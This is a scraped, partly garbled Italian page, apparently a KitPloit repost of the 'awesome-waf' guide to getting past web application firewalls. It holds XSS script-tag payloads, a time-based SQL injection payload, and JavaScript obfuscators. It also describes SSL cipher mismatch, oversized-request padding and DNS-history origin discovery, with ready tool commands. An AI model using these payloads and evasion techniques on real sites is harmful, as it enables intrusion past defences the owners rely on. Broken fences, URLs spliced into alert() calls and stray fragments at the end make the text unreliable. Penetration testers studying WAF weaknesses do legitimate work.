<script>parent['alert'](https://github.com/0xinfection/awesome-waf/blob/HEAD/1)</script>
<script>self['alert'](https://github.com/0xinfection/awesome-waf/blob/HEAD/2)</script>
  • Caso: SQLi``` SELECT if(LPAD(' ',4,version())='5.7',sleep(5),null); 1%0b||%0bLPAD(USER,7,1)
root@kitploit:~
Molte alternative al JavaScript originale possono essere utilizzate, ovvero:
- [JSFuck](http://www.jsfuck.com/)
- [JJEncode](http://utf-8.jp/public/jjencode.html)
- [XChars.JS](https://syllab.fr/projets/experiments/xcharsjs/5chars.pipeline.html)
> Tuttavia il problema nell'uso delle suddette strutture sintattiche sono i payload lunghi che potrebbero essere rilevati dal WAF o bloccati dal CSP. Tuttavia, non si sa mai, potrebbero anche bypassare il CSP (se presente). ;)

### Abusare dei Cipher SSL/TLS:
- Spesso i server accettano connessioni da vari cipher e versioni SSL/TLS.
- Utilizzare un cipher per inizializzare una connessione al server che non è supportato dal WAF può fare al caso nostro.

#### Tecnica:
- Scoprire i cipher supportati dal firewall (di solito la documentazione del fornitore WAF ne parla).
- Trovare i cipher supportati dal server (strumenti come [SSLScan](https://github.com/rbsec/sslscan) aiutano qui).
- Se si trova un cipher specifico non supportato dal WAF ma dal server, voilà!
- Avviare una nuova connessione al server con quel cipher specifico dovrebbe introdurre il nostro payload.

> __Strumento__: [abuse-ssl-bypass-waf](https://github.com/LandGrey/abuse-ssl-bypass-waf)```
python abuse-ssl-bypass-waf.py -thread 4 -target <target>

Gli strumenti CLI come cURL possono essere molto utili per i PoCs:``` curl --ciphers -G -d

root@kitploit:~
### Abusare del limite WAF sulle risposte HTTP
#### Metodo
- Spesso, i WAF hanno un limite sulla _quantità_ di richiesta HTTP che devono gestire.
- Inviando una richiesta HTTP con una dimensione __maggiore del limite__, possiamo eludere completamente i WAF.

#### Tecnica
- Utilizzare un approccio per tentativi ed errori per scoprire quanta parte della richiesta HTTP viene ispezionata dal WAF (di solito in multipli di 4 kB).
- Una volta fatto, attaccare il payload alla richiesta dopo aver riempito il limite con dati spazzatura.

> Una tecnica simile è stata utilizzata per [bypassare il WAF di Google Cloud Platform](https://kloudle.com/blog/piercing-the-cloud-armor-the-8kb-bypass-in-google-cloud-platform-waf).

### Abusare della cronologia DNS:
- Spesso i vecchi record DNS storici forniscono informazioni sulla posizione del sito dietro il WAF.
- L'obiettivo è ottenere la posizione del sito, in modo da poter instradare le nostre richieste direttamente al sito e non attraverso il WAF.
> __SUGGERIMENTO:__ Alcuni servizi online come [IP History](http://www.iphistory.ch/en/) e [DNS Trails](https://securitytrails.com/dns-trails) vengono in soccorso durante il processo di ricognizione.  

__Tool__: [bypass-firewalls-by-DNS-history](https://github.com/vincentcox/bypass-firewalls-by-DNS-history)```
bash bypass-firewalls-by-DNS-history.sh -d <target> --checkall

Utilizzo di Stringhe Whitelist:

Metodo:

  • Alcuni sviluppatori di WAF mantengono un segreto condiviso con i propri utenti/sviluppatori, consentendo loro di superare query dannose attraverso il WAF.
root@kitploit:~

---

[Read more](https://github.com/0xinfection/awesome-waf)
  • Stringa di query nel suo formato originale (può essere codificata come di consueto).
  • Il corpo può essere inviato con o senza codifica URL.
  • Il segno di uguale e la e commerciale non devono essere codificati in alcun modo.
Viene restituito un array
ARRAY(0x8b9058c)